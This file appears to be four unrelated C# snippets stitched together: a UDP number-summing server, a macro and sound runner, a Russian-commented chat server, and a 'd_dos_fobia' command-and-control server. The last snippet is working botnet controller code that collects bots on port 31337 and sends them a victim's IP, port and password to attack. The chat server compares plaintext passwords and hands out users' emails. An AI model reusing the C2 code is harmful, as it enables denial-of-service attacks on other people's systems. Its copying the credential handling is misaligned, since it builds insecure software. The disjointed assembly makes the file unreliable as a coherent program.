static void Main(string[] args) { UdpClient server = new UdpClient(9050); List <IPEndPoint> listclient = new List <IPEndPoint>(); List <int[]> listso = new List <int[]>(); List <int> listsoluong = new List <int>(); IPEndPoint client = new IPEndPoint(IPAddress.Any, 0); while (true) { byte[] data1 = new byte[10]; data1 = server.Receive(ref client); string so = Encoding.ASCII.GetString(data1, 0, data1.Length); string[] cutnumber = so.Split('_'); int a = int.Parse(cutnumber[0]); int i; for (i = 0; i < listclient.Count; i++) { if (client.Equals(listclient.ElementAt(i))) { if (listsoluong.ElementAt(i) < 3) { if (cutnumber[1] == "1") { listso[i][0] = a; } if (cutnumber[1] == "2") { listso[i][1] = a; } if (cutnumber[1] == "3") { listso[i][2] = a; } listsoluong[i]++; if (listsoluong[i] != 3) { break; } } if (listsoluong.ElementAt(i) == 3) { string menu = "1.Tong ba so,2.Cac so le co trong ba so,3.Thoat"; byte[] data = new byte[10]; data = Encoding.ASCII.GetBytes(menu); server.Send(data, data.Length, listclient.ElementAt(i)); listsoluong[i]++; break; } if (listsoluong.ElementAt(i) > 3) { if (a == 1) { int kq = listso[i][0] + listso[i][1] + listso[i][2]; byte[] data3 = new byte[10]; data3 = Encoding.ASCII.GetBytes(kq.ToString()); server.Send(data3, data3.Length, listclient.ElementAt(i)); break; } if (a == 2) { for (int j = 0; j < 3; j++) { int flag = 0; if (listso[i][j] % 2 != 0) { byte[] data4 = new byte[10]; data4 = Encoding.ASCII.GetBytes(flag.ToString()); server.Send(data4, data4.Length, listclient.ElementAt(i)); byte[] data3 = new byte[10]; data3 = Encoding.ASCII.GetBytes(listso[i][j].ToString()); server.Send(data3, data3.Length, listclient.ElementAt(i)); } if (j == 2) { flag = 1; byte[] data5 = new byte[10]; data5 = Encoding.ASCII.GetBytes(flag.ToString()); server.Send(data5, data5.Length, listclient.ElementAt(i)); break; } } } if (a == 3) { break; } break; } } } if (i == listclient.Count) { listclient.Add(client); listsoluong.Add(1); int[] arr = new int[3]; if (cutnumber[1] == "1") { arr[0] = a; listso.Add(arr); } if (cutnumber[1] == "2") { arr[1] = a; listso.Add(arr); } if (cutnumber[1] == "3") { arr[2] = a; listso.Add(arr); } } } }
public static void Run(Execute exe, JObject MacroList, string CalledMacro, string CalledSound, UdpClient newsock, IPEndPoint sender) { Debug.WriteLine("MacrosProcessing.Run: " + CalledMacro + " " + CalledSound); if (CalledMacro != "") { Debug.WriteLine("IN MACRO"); string[] tabGivenMacro = CalledMacro.Split('/'); foreach (JToken section in MacroList["sections"].ToList <JToken>()) { //Debug.WriteLine("section Compare: " + tabGivenMacro[0] + " " + section["name"].Value<string>()); if (section["name"].Value <string>() == tabGivenMacro[0]) { //Debug.WriteLine("section data = " + JsonConvert.SerializeObject(section)); if (section["macros"].Value <JObject>().ContainsKey(tabGivenMacro[1]) == true) { JObject ob2 = section["macros"][tabGivenMacro[1]].Value <JObject>(); if (CalledSound != "") { if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows) == true) { CalledSound = CalledSound.Replace("/", "\\"); } ob2["sound"] = Program.soundDir + CalledSound; } string st = JsonConvert.SerializeObject(ob2); //Debug.WriteLine("macro data = " + st); Dictionary <string, object> options = new Dictionary <string, object>() { { "exe", exe }, { "macro", ob2 }, { "newsock", newsock }, { "sender", sender } }; if (st.Contains("Sleep") == true && st.Contains("delay") == true) { Thread objThread = new Thread(new ParameterizedThreadStart(RunPart2)); //Make the thread as background thread. objThread.IsBackground = true; //Set the Priority of the thread. objThread.Priority = ThreadPriority.AboveNormal; //Start the thread. objThread.Start(options); } else { RunPart2(options); } } } } } else { if (CalledSound != "") { JObject options = new JObject(); if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows) == true) { CalledSound = CalledSound.Replace("/", "\\"); } options["url"] = Program.soundDir + CalledSound; PlaySound(options); } } }
private static void MessagesClient(object i)//Команды от клиента { Data.ClientConnectOnly onlyClient = (Data.ClientConnectOnly)i; byte[] buffer = new byte[1024]; int messi; string answer; while (true) { Task.Delay(10).Wait(); linkStartListenCommand: try { //Пример: %MES:Hello! (Ник мы уже знаем) messi = onlyClient.ClientSocket.Client.Receive(buffer); answer = Encoding.UTF8.GetString(buffer, 0, messi); WriteLine($"Получена команда {answer} от {onlyClient.Nick}:{onlyClient.ID}", ConsoleColor.Green); } catch (Exception ex) { onlyClient.ClientSocket.Close(); Data.ClientsOnlyData.Remove(onlyClient); WriteLine($"Клиент вышел: {ex.Message}", ConsoleColor.Red); return; } if (answer.Contains("%MES"))//Для общего чата (отправка сообщения) { try { Match regex = Regex.Match(answer, "%MES:(.*)"); string messagesText = regex.Groups[1].Value; //Сама отправка сообщения MessagesMain(messagesText, onlyClient); //Добавление в базу данных Database.AddMessageInMainChat(messagesText, onlyClient.ID); } catch { WriteLine($"Ошибка отправки сообщение в общий чат от {onlyClient.ID}", ConsoleColor.Red); return; } } else if (answer.Contains("%NCT"))//Новый чат { //%NCT:idUser try { Match regex = Regex.Match(answer, "%NCT:(.*)"); Database.CreateNewDialog(onlyClient.ID, long.Parse(regex.Groups[1].Value)); onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("1")); WriteLine("Готово!", ConsoleColor.Green); } catch { WriteLine($"Ошибка при %NCT от {onlyClient.ID}:{onlyClient.Nick}", ConsoleColor.Red); return; } } else if (answer.Contains("%MSE"))//Для отдельного чата (отправка) { Match regex = Regex.Match(answer, "%MSE:(.*):(.*)"); //id чата long idChat = long.Parse(regex.Groups[1].Value); //Сообщение string mess = regex.Groups[2].Value; //Обработка //Есть такой чат? var set = (Settings)Data.Settings; bool yesChat = false; foreach (Data.IMessageInfoChat chatInfo in set.MessageInfoChats) { if (chatInfo.ID == idChat) { yesChat = true; } } try { if (!yesChat) { WriteLine($"Есть такой чат! %MSE:{onlyClient.ID}", ConsoleColor.Red); } else { //Сама отправка сообщение //Если клиент онлайн, то отправляем нему что есть новое сообщение //Поиск чата Data.IMessageInfoChat infoChat = new Data.IMessageInfoChat(null); foreach (Data.IMessageInfoChat messageInfo in set.MessageInfoChats) { if (messageInfo.ID == idChat) { infoChat = messageInfo; } } if (infoChat.NameTable == null) { onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%ERROR:NotHaveChat")); //%ERROR:NotHaveChat Если нет чата goto linkStartListenCommand; } //Обработка данных var id1Mess = new Data.InfoClientMessInfoChat(); //Сам наш клиент var id2Mess = new Data.InfoClientMessInfoChat(); //А это получатель //или подругому) if (infoChat.ID1 == onlyClient.ID) { id1Mess = new Data.InfoClientMessInfoChat(onlyClient.ID, Data.TypeUserInfoMess.Sender); id2Mess = new Data.InfoClientMessInfoChat(infoChat.ID, Data.TypeUserInfoMess.Recipient); } //Анализ клиента //Если клиент онлайн просто присылаем ему сообщение и добавляем в базу данных if (id2Mess.TypeClient == Data.TypeUserInfoMess.Recipient) { if (CheckClientOnly(id2Mess.ID)) { //Добавление в базу данных //TODO //Получение socket и отправка Data.ClientConnectOnly clientId2 = new Data.ClientConnectOnly(); foreach (Data.ClientConnectOnly temp in Data.ClientsOnlyData) { if (id2Mess.ID == temp.ID) { clientId2 = temp; } } clientId2.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%NEWMES")); } } else { if (CheckClientOnly(id1Mess.ID)) { //Получение socket Data.ClientConnectOnly clientId1 = new Data.ClientConnectOnly(); //foreach (Data.ClientConnectOnly temp in Data.ClientConnectOnly) //{ // Странная ошибка //} } } } } catch (Exception ex) { WriteLine($"%MSE Ошибка: {ex.Message}", ConsoleColor.Red); } } else if (answer.Contains("%UPM"))//Отправить последнии сообщение (обновление сообщений) TODO { try { Match regex = Regex.Match(answer, "%UPM:(.*):(.*)"); long idChat = long.Parse(regex.Groups[1].Value); long countMess = long.Parse(regex.Groups[2].Value); //id 0 это главный чат for (long Iupm = 0; Iupm < countMess; Iupm++) { //buffer = Encoding.UTF8.GetBytes(); //onlyClient.ClientSocket.Client.Send(); } WriteLine($"Готово '%UPM' от: {onlyClient.Nick}, {onlyClient.ID}!", ConsoleColor.Green); } catch (Exception ex) { WriteLine($"Ошибка: {ex.Message}", ConsoleColor.Red); return; } } else if (answer.Contains("%EXI"))//Выход (отключение) { try { onlyClient.ClientSocket.Close(); Data.ClientsOnlyData.Remove(onlyClient); return; } catch { onlyClient.ClientSocket.Close(); Data.ClientsOnlyData.Remove(onlyClient); WriteLine($"Ошибка клиента при выходе: {onlyClient.ID}:{onlyClient.Nick}", ConsoleColor.Red); return; } } else if (answer.Contains("%INF"))//Получить информацию о аккаунте { try { int idClient = int.Parse(answer.Substring(5));//%INF:{id} Data.ClientConnectOffline client = Database.GetClientInfo(idClient); //INF:{id}:{name}:{status}:{email} if (client.UserAvatar != Data.UserAvatar.Custom) { bool status = CheckClientOnly(client.ID); buffer = Encoding.UTF8.GetBytes($"%INF:{client.ID}:{client.Nick}:{status}:" + $"{client.Email}"); onlyClient.ClientSocket.Client.Send(buffer); } else { Data.ClientConnectOffline offline = Database.GetClientInfo(idClient);//Проверить! //TODO: Вот тут просто отправлять аватарку } WriteLine($"Команда %INF от {onlyClient.Nick}:{onlyClient.ID} выполнена", ConsoleColor.Green); } catch { WriteLine($"Ошибка в %INF от {onlyClient.ID}:{onlyClient.Nick}", ConsoleColor.Red); return; } } else if (answer.Contains("%DEL"))//Удалить аккаунт { //Подтверждение (пароль) messi = onlyClient.ClientSocket.Client.Receive(buffer); answer = Encoding.UTF8.GetString(buffer, 0, messi); //TODO md5 //неверный пароль if (answer != onlyClient.Passworld) { onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%ERRPASSWORLD")); goto linkStartListenCommand; } //TODO } else if (answer.Contains("%SЕM"))//Отправить файл (Сообщение) (( В общий чат )) { } else if (answer.Contains("%UUS"))//Обновление клиентов (только онлайн) { try { string stringTemp = $"%UUS:{Data.ClientsOnlyData.Count}:"; foreach (Data.ClientConnectOnly client in Data.ClientsOnlyData) { stringTemp += $"{client.Nick};{client.ID}:"; } Console.WriteLine(stringTemp); byte[] answerUUS = Encoding.UTF8.GetBytes(stringTemp); //networkStream.Write(answerUUS, 0, answerUUS.Length); onlyClient.ClientSocket.Client.Send(answerUUS); } catch { WriteLine($"Ошибка в %UUS от {onlyClient.ID}:{onlyClient.Nick}", ConsoleColor.Red); return; } } else if (answer.Contains("%UAT"))//Загрузка (обновление) аватарки клиента { //%UAT:typeAvatar:sizeFile Match regex = Regex.Match(answer, "%UAT:(.*):(.*)"); Data.UserAvatar userAvatar = (Data.UserAvatar) short.Parse(regex.Groups[1].Value); //Обновление аватарки if (File.Exists($@"Avatars\{onlyClient.ID}.png")) { File.Delete($@"Avatars\{onlyClient.ID}.png"); } if (userAvatar == Data.UserAvatar.Custom) { /*Инфа о файле * (Максимальный размер 8 мб)*/ int sizeFile = int.Parse(regex.Groups[2].Value); //ДЛЯ ПОЛУЧЕНИЕ ФАЙЛОВ ПОРТ 909!!! UdpClient udpClient = new UdpClient(909, AddressFamily.InterNetwork); IPEndPoint end = (IPEndPoint)onlyClient.ClientSocket.Client.RemoteEndPoint; //Загрузка файла byte[] bufferFile = udpClient.Receive(ref end); File.WriteAllBytes($@"Avatars\{onlyClient.ID}.png", bufferFile); //TODO: Добавить в базу данных! } else { //TODO:Просто добавить в базу данных! } WriteLine($"Полученена аватарка от {onlyClient.ID}:{onlyClient.Nick}...", ConsoleColor.Yellow); } else//TODO: Это потом для API! { try { //%ERR:CommandIsNot - Такой команды нет onlyClient.ClientSocket.Client.Send(Encoding.UTF8.GetBytes("%ERR:CommandIsNot")); WriteLine("Такой команды нет!", ConsoleColor.Red); } catch { WriteLine("Ошибка при отправке ОШИБКИ CommandIsNot", ConsoleColor.Red); return; } } } }
public static void Main(string[] args) { Console.WriteLine("Command and control server d_dos_fobia active"); UdpClient udpServer = new UdpClient(31337); Thread listenThread = new Thread(() => { while (true) { IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 31337); byte[] data = udpServer.Receive(ref remoteEP); // listen on port 31337 //Console.WriteLine(BitConverter.ToInt32(data, 0)); //Console.WriteLine("data " + remoteEP.ToString()); lock (ip_port_bots) ip_port_bots.Add(new IPEndPoint(remoteEP.Address, BitConverter.ToUInt16(data, 0))); DisplaySet(ip_port_bots); //udpServer.Send(new byte[] { 1 }, 1, remoteEP); // reply back } }); listenThread.Start(); while (true) { try { Console.WriteLine("ip?"); string ip_vic = Console.ReadLine(); Console.WriteLine("port?"); int port_vic = Int32.Parse(Console.ReadLine()); Console.WriteLine("password?"); string pass_vic = Console.ReadLine(); byte[] ip_vic_arr = IPAddress.Parse(ip_vic).GetAddressBytes(), //BitConverter.GetBytes((Int32)IPAddress.Parse(ip_vic).Address), port_vic_arr = BitConverter.GetBytes((Int16)port_vic), pass_vic_arr = Encoding.Default.GetBytes(pass_vic); string name = "d_dos_fobia"; int len = name.Length; for (int i = 0; i < 32 - len; i++) name = name + "\0"; byte[] name_vic_arr = Encoding.Default.GetBytes(name); byte[] to_send = Combine(ip_vic_arr, port_vic_arr, pass_vic_arr, name_vic_arr); Console.WriteLine("attacking victim on IP " + ip_vic + ", port " + port_vic + " with " + ip_port_bots.Count + " bots"); DisplaySet(ip_port_bots); try { lock (ip_port_bots) { foreach (IPEndPoint endPoint in ip_port_bots) { udpServer.Send(to_send, to_send.Length, endPoint); // reply back } } } catch (Exception e) { Console.WriteLine(e.Message); } } catch(Exception e) { Console.WriteLine("incorecct input " + e.Message); } } }